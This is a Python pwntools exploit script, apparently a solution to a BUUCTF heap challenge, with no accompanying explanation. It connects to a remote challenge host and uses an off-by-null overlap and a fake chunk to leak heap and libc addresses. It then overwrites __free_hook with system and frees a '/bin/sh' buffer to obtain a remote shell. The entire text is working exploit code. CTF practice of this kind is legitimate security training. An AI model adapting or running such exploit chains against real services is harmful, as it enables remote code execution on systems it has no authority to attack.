1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
| from pwn import * from pwn import p32,p64,u32,u64 context(os='linux', arch='amd64', log_level='debug')
p = remote('node4.buuoj.cn',25201)
libc = ELF('./libc-2.23.so')
def add(size): p.sendlineafter(b'Command: ',b'1') p.sendlineafter(b'Size: ',str(size))
def edit(idx,content): p.sendlineafter(b'Command: ',b'2') p.sendlineafter(b'Index: ',str(idx)) p.sendlineafter(b'Size: ',str(len(content))) p.recvuntil(b'Content: ') p.send(content)
def delete(idx): p.recvuntil('Command: ') p.sendline('3') p.recvuntil('Index: ') p.sendline('%d' % idx)
def show(idx): p.sendlineafter(b'Command: ',b'4') p.sendlineafter(b'Index: ',str(idx))
add(0x18) add(0x508) add(0x18)
add(0x18) add(0x508) add(0x18)
add(0x18)
edit(1,b'\x00'*0x4F0 + p64(0x500)) delete(1) edit(0,b'\x00'*(0x18-12)) add(0x18) add(0x4d8)
delete(1) delete(2)
add(0x38) add(0x4e8)
edit(4,b'\x00'*0x4F0+p64(0x500)) delete(4) edit(3,b'\x00'*(0x18-12)) add(0x18) add(0x4d8)
delete(4) delete(5)
add(0x48)
delete(2) add(0x4e8) delete(2)
fake_chunk = 0x13370800 - 0x20 payload = b'\x00' * 0x10 payload += p64(0) payload += p64(0x4f1) payload += p64(0) payload += p64(fake_chunk) edit(7, payload)
payload = b'\x00' * 0x20 payload += p64(0) payload += p64(0x4e1) payload += p64(0) payload += p64(fake_chunk+8) payload += p64(0) payload += p64(fake_chunk-0x18-5) edit(8, payload) add(0x48)
payload = p64(0)*6 + p64(0x13370800) edit(2, payload)
payload = p64(0)*3 +p64(0x13377331) payload += p64(0x13370800) + p64(0x1000) payload += p64(fake_chunk+3) + p64(8) edit(0, payload)
show(1) p.recvuntil("]: ") heap = u64(p.recv(6).ljust(8, b'\x00')) success("heap:%s"+hex(heap))
payload = p64(0)*3 + p64(0x13377331) payload += p64(0x13370800) + p64(0x1000) payload += p64(heap+0x10) + p64(8) edit(0, payload)
show(1) p.recvuntil("]: ") malloc_hook = u64(p.recv(6).ljust(8, b'\x00')) -0x58 - 0x10 libc_base = malloc_hook - libc.sym['__malloc_hook'] free_hook = libc_base+libc.sym['__free_hook'] system = libc_base+ libc.sym['system'] success("free_hook:%s"+hex(free_hook))
payload = p64(0)*4 payload += p64(free_hook) + p64(0x100) payload += p64(0x13370800+0x40) + p64(8) payload += b'/bin/sh\x00' edit(0, payload) edit(0, p64(system)) delete(1)
p.interactive()
|